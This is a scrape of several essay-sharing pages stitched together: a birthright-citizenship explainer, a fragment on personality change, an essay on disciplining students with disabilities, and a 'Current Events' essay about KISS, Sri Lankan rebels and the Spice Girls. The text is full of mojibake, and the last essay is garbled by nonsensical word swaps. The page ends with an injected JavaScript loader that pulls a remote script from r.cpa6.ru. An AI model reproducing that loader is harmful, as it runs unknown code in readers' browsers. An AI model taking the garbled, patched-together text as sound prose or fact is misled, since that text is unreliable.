Birthright Citizenship in the United States

Birthright citizenship in the United States is the legal principle that any person born on U.S. soil automatically and immediately becomes a U.S. citizen. It contrasts with U.S. citizenship obtained through naturalization or acquisition—citizenship granted by virtue of being born abroad to at least one U.S. citizen parent. A â€Å"birthright† is defined as any right or privilege to which a person is entitled by virtue of birth. Long challenged in both the courts of law and public opinion, the policy of birthright citizenship remains highly controversial today, particularly when applied to children born to undocumented immigrant parents. Key Takeaways: Birthright Citizenship Birthright citizenship is the legal principle that any person born on U.S. soil automatically becomes a citizen of the United States.Birthright citizenship was established in1868 by the Fourteenth Amendment to the United States Constitution and confirmed by the US Supreme Court in the 1898 case of United States v. Wong Kim Ark.Birthright citizenship is granted to persons born in the 50 U.S. states and the U.S. territories of Puerto Rico, Guam, the Northern Mariana Islands, and the U.S. Virgin Islands.Today, birthright citizenship is a highly controversial issue as it applies to children born to parents who have entered the United States illegally. Jus Soli and Jus Sanguinis Citizenship Birthright citizenship is based on the principle of â€Å"jus soli,† a Latin term meaning â€Å"right of the soil.† According to jus soli, a person’s citizenship is determined by their place of birth. As in the United States, jus soli is the most common means by which citizenship is acquired. Jus Soli is in contrast to â€Å"jus sanguinis,† meaning â€Å"right of the blood,† the principle that a person’s citizenship is determined or acquired by the nationality of one or both parents. In the United States, citizenship can be acquired by either jus soli, or less commonly, by jus sanguinis.   Legal Basis of US Birthright Citizenship In the United States, the policy of birthright citizenship is based in the Citizenship Clause of the Fourteenth Amendment to the United States Constitution, stating â€Å"[a]ll persons born or naturalized in the United States, and subject to the jurisdiction thereof, are citizens of the United States and of the State wherein they reside.† Ratified in 1868, the Fourteenth Amendment was enacted to override the 1857 U.S. Supreme Court’s Dred Scott v. Sandford decision which had denied citizenship to former African American slaves. In the 1898 case of United States v. Wong Kim Ark, the U.S. Supreme Court confirmed that under the Fourteenth Amendment, full U.S. citizenship cannot be denied to any person born within the United States, regardless of the citizenship status of the parents at the time. Under the Indian Citizenship Act of 1924, birthright citizenship is similarly granted to any person born in the United States to a member of an Indian, Eskimo, Aleutian, or other aboriginal tribe. Under the Immigration and Nationality Act of 1952, U.S. jus soli birthright citizenship, as established by the Fourteenth Amendment, is automatically granted to any person born within any of the 50 states and the territories of Puerto Rico, Guam, the Northern Mariana Islands, and the U.S. Virgin Islands. In addition, jus sanguinis birthright citizenship is granted (with some exceptions) to persons born to U.S. citizens while in other countries.   The above statutes and subsequent legislative amendments are compiled and codified into the United States Code of Federal Laws at 8 U.S.C.  § 1401 to define who becomes a United States citizen at birth. According to federal law, the following persons shall be deemed U.S. citizens at birth: A person born in the United States, and subject to the jurisdiction thereof.A person born in the United States to a member of an Indian, Eskimo, Aleutian, or other aboriginal tribe.A person born in an outlying possession of the United States of parents one of whom is a citizen of the United States who has been physically present in the United States or one of its outlying possessions for a continuous period of one year at any time prior to the birth of such person.A person of unknown parentage found in the United States while under the age of five years, until shown, prior to his attaining the age of twenty-one years, not to have been born in the United States. The Birthright Citizenship Debate While the legal concept of birthright citizenship has withstood years of challenges in the courts of law, its policy of automatically granting U.S. citizenship to children of undocumented immigrants has not fared as well in the court of public opinion. For example, a 2015 Pew Research Center survey found that 53% of Republicans, 23% of Democrats, and 42% of Americans overall favor changing the Constitution to bar citizenship for children born in the U.S. to undocumented immigrant parents. Many opponents of birthright citizenship argue that it encourages expectant parents to come to the U.S. simply to give birth in order to improve their own chances of attaining legal resident (green card) status—a practice often called â€Å"birth tourism.† According to a Pew Hispanic Center analysis of Census Bureau data, an estimated 340,000 of the 4.3 million babies born in the United States in 2008 were born to â€Å"unauthorized immigrants.† The Pew study further estimates that a total of about four million American-born children of unauthorized immigrant parents lived in the U.S. in 2009, along with about 1.1 million foreign-born children of unauthorized immigrant parents. Controversially calling it the â€Å"anchor baby† situation, some lawmakers have suggested legislation to change how and when birthright citizenship is granted. The 2015 Pew analysis found that birthright citizenship was granted to about 275,000 babies born to undocumented immigrant parents in 2014, or about 7% of all births in the U.S. that year. That number represents a drop from the peak year of illegal immigration in 2006 when about 370,000 children—about 9% of all births—were born to undocumented immigrants. In addition, about 90% of undocumented immigrants who give birth in the U.S. have resided in the country for more than two years before giving birth. On October 30, 2018, President Donald Trump escalated the debate by stating that he intended to issue an executive order completely removing the right of citizenship to people born in the U.S. to foreign nationals under any circumstances—an act some argue would essentially repeal the Fourteenth Amendment. The president set no timeline for his proposed order, so birthright citizenship—as established by the Fourteenth Amendment and United States v. Wong Kim Ark—remains the law of the land. Other Countries With Birthright Citizenship According to the independent, non-partisan Center for Immigration Studies, the United States along with Canada and 37 other countries, most of which are in the Western Hemisphere, offer largely unrestricted jus soli birthright citizenship. No Western Europe countries offer unrestricted birthright citizenship to all children born within their borders. Over the last decade, many countries, including France, New Zealand, and Australia, have abandoned birthright citizenship. In 2005, Ireland became the last country in the European Union to abolish birthright citizenship. Sources and Further Reference Arthur, Andrew R. (November 5, 2018). Birthright Citizenship: An Overview. Center for Immigration Studies.Smith, Rogers M. (2009). Birthright Citizenship and the Fourteenth Amendment in 1868 and 2008. University of Pennsylvania Journal of Constitutional Law.Lee, Margaret (May 12, 2006). U.S. Citizenship of Persons Born in the United States to Alien Parents. Congressional Research Service.Da Silva, Chantal. (October 30, 2018). Trump Says He Plans to Sign Executive Order to Terminate Birthright Citizenship. CNN.

The Social Investment Theory Personality Is Shaped With...

Para 1: According to the social-investment theory, personality is shaped with time and influenced by our social contexts and life events (Roberts, Wood, Caspi, 2008; Heatherton Nicholas, 1994; Roberts Mroczek, 2008). Particularly, this is evident within the social roles people occupy (Lehnart, Neyer, Eccles, 2010). Here, individual’s have a core responsibility in selecting and managing their social environment. Subsequently, such a distinct environment directly affects their personality (Srivastava, John, Gosling, Potter, 2003). For example, Lenhart et al. conducted a study that found that investing in a romantic relationship in turn increases an individual’s emotional stability. Being a romantic partner is essentially a social†¦show more content†¦Such results support the idea that life experiences induce new personality traits. In Luhmann et al. (2015) own words, â€Å"In early unemployment stages, there may be incentives for individuals to behave agreeably in an effort to secure another job or placate those around them, but in later years when the situation becomes endemic, such incentives may weaken.† Thus, this challenges the idea of personality being fixed. Para 3: Furthermore, personality change can occur as the result of an individual’s goals and motivation for such change (Hudson Fraley, 2015). In a recent study, it was found that less than 13% of people express desires for their personality to remain the same (Hudson Roberts, 2014). Accordingly, Hudson and Fraley (2015) conducted a longitudinal experiment to determine whether â€Å"people’s goals to change their personality traits (were) associated with subsequent growth in their personality traits over time.† This was investigated using university participant’s. Here, the participants self-reported their individual personality change goals each week over a period of 16 weeks. Overall, the study found that participants who wanted to become more extraverted, tended to experience a subsequent increase in the trait-extraversion. As such, this demonstrates that personality can in fact change, especially if it is a desired outcome by the individual. Para 4: However, such understandings contrast that of McCrae and Costa’s (1988) ‘set inShow MoreRelatedA Leadership Role Model2025 Words   |  9 Pageshuman beings. This essay identifies leadership attributes and behavior of one individual and will attempt to explain how his influence on the people touched by his leadership style and behavior shaped my personal leadership style I will use a process of analysis that will integrate prevalent leadership theories to support reasonable conclusions. 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How to Discipline Students with Disabilities Free Essays

There’s nothing more difficult than having to discipline a child with emotional disability. These children needs special attention rather than the reward-and-punishment method or giving disciplinary action as with any other regular child. The Individuals with Disabilities Education Act (IDEA) provides â€Å"procedural safeguards designed to assure that students with disabilities were not arbitrarily removed from their parent approved program without consent and were guaranteed a free and appropriate public education (FAPE) within the least restrictive environment (LRE)† (Dwyer 1997). We will write a custom essay sample on How to Discipline Students with Disabilities or any similar topic only for you Order Now These safeguards, however, are oftentimes misunderstood by school officials which tend to affect other students seriously. Kevin Dwyer gave examples wherein students with disability have caused serious troubles without being given considerable disciplinary action. One child, in one of his fits, punched another who was â€Å"quietly waiting in line outside her classroom† (Dwyer 1997). Another sets a trash on fire. As said by the security specialist, when he was prohibited to use the usual disciplinary procedure: â€Å"Those kids get away with murder† (Dwyer 1997). According to Dwyer (1997), â€Å"there is nothing in IDEA which restricts schools from disciplining students with disabilities. In fact, some would say that by not addressing these dangerous behaviors the student with special needs is not receiving an â€Å"appropriate† education. Both of these children may need specialized services to change the disruptive and dangerous behavior to make sure whatever discipline is used works in preventing a reoccurrence of that behavior. † In an attempt to increase the positive and decrease the negative behaviors, Dwyer provides practical concepts in giving discipline among children with disabilities. One concept in which the school may assert positive behavioral response is establishing a code of conduct that includes consequences for violations which â€Å"substantially disrupts the rights of others to be physically safe and to be educated† (Dwyer 1997). Dwyer suggested that children with disabilities need assistance and instructions to master appropriate behavior, which basically mean that they need special attention in demonstrating socially appropriate behaviors. He suggested the involvement of parents in teaching the code of discipline to children with disabilities. He also suggested to incorporate the code of discipline in the disabled child’s IEP (Individualized Educational Program). He held that â€Å"IEPs are designed to address both traditional academic needs and in ‘meeting each of the child’s other educational needs that result from the child’s disability’† (Dwyer 1997). He also said the law provides that schools shall consider â€Å"strategies, including positive behavioral interventions† (Dwyer 1997). An example includes that for a child with attention deficit disorder, the IEP goals must include support and specialized help in increasing attention and sustained effort, probably by rewarding the child’s effort for being attentive. For a child who cannot speak clearly or communicate feelings, alternative methods for communicating and for coping with frustration must be applied â€Å"before the disruptive behavior becomes routine and results in disciplinary action which may only increase the disruptive behavior† (Dwyer 1997). Dwyer held that some of these concepts may also be applied to other â€Å"troubling students.† He held that it is the â€Å"school’s responsibility to maintain a safe environment conducive to learning† and that any behavior â€Å"which block learning and the success of educational program should be addressed†(Dwyer 1997). It is imperative that school officials find a way to address the behavioral needs of children with disabilities, but, as already mentioned, parents also have the responsibility to partake, of which, in the first place, they should have been the one to initiate. â€Å"School and parents should work cooperatively to change the pattern of negative behavior,† Dwyer (1997) said. How to cite How to Discipline Students with Disabilities, Essays

Current Events Essay Research Paper free essay sample

Current Events Essay, Research Paper KISS KISS hits the route Saturday dark in Phoenix to one time once more stone and turn over nightlong and party every twenty-four hours. But merely for a small while longer. The group has announced that this excursion is its farewell circuit, one last opportunity to take a breath fire, spit blood, put on the make-up, and stomp around in those mammoth boots before naming it a twenty-four hours. Yes, we # 8217 ; ve heard this before from these bikerss, but Gene Simmons says that since KISS is unlike anybody else the group International Relations and Security Network # 8217 ; t kidding. There # 8217 ; s the circuit, which features handpicked openers Ted Nugent and Skid Row ( original pick Cheap Trick turned down the offer ) . Simmons says KISS will be on the route in North America into the summer before going to Australia and Japan. He promises that the concluding KISS gig will be an out-of-door matter having a measure loaded with Acts of the Apostless he says # 8220 ; you couldn # 8217 ; t imagine in your wildest dreams. We will write a custom essay sample on Current Events Essay Research Paper or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page # 8221 ; After these hosts leave the recording studios and put an terminal to the amazing phase show that is KISS they plan to get down? new? lives. Paul Stanley, after his stretch in The Phantom of the Opera in Toronto, wants to make more phase work. Paul Stanley, after his stretch in The Phantom of the Opera in Toronto, wants to make more phase work. The other set members haven? T decided what they want to make in this retirement possibly they plan to merely sit back and bask it. Who knows? It? s KISS! Colombo Death Toll 28 After Rebel Suicides Four Tamil Tiger Rebels besieged by military personnels blew themselves up on Saturday after their bungled effort to scupper a motorcade left 23 people dead, constabulary and military functionaries said. Officials said in a statement the Liberation Tigers of Tamil Eelam ( LTTE ) Rebels, armed with grenade launchers, had been surrounded by 100s of Sri Lankan soldiers and constabularies after they hid in a level about a stat mi from where a bomb exploded during the Friday eventide haste hr. gt ; The four blew themselves up as ranger raided the flat and a 5th guerilla was killed by security forces during the foray, conveying the decease toll from two yearss of political force to at least 28. The detonation and gun conflicts on Friday killed 23 people, including six police officers, three Tamil Tiger Rebels and 14 civilians, functionaries said. Apparently the Rebels were aiming a motorcade of authorities functionaries. This is merely a current illustration of what? s incorrect with this universe. All these bombardments and terrorist Acts of the Apostless should halt and every one merely acquire along but that is likely impossible. Well we can ever woolgather. Right? # 8216 ; Sporty Spice # 8217 ; Hints at Girl Band Split # 8220 ; Sporty Spice # 8221 ; Mel C Sunday hinted that the Spice Girls, a multimillion-selling worldwide dad esthesis, may travel their separate ways in the hereafter. Talking on Sky telecasting, Melanie Chisholm # 8212 ; the oldest set member who is frequently described as # 8220 ; the 1 who can sing # 8221 ; # 8212 ; said she was basking ramifying out on her ain solo calling. The 26-year-old said the Britian Award presented to the Spice Girls last hebdomad for their outstanding accomplishment in the dad industry was good deserved. # 8220 ; It ( our part ) should be recognized because we were a phenomenal success, # 8221 ; she said. And asked why she should had used the past tense to depict the set # 8217 ; s success, Sporty rapidly added: # 8220 ; Well we were, and we will be with the following album. # 8221 ; Reacting to suggestions that the Spice Girls may follow groups like the Beatles who moved on after their set # 8217 ; s planetary success and went separate ways, Sporty left the issue hanging. # 8220 ; Who knows? I merely know at the minute that we # 8217 ; re really happy as a set and really happy go oning with our solo ventures. # 8221 ; The Sunday People tabloid newspaper said last month that Mel C had # 8220 ; had a ferocious bust-up # 8221 ; with # 8220 ; Scary Spice # 8221 ; Mel G # 8221 ; that could endanger the hereafter # 822 1 ; of the set. This is a good twenty-four hours in the music universe. news.yahoo.com ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;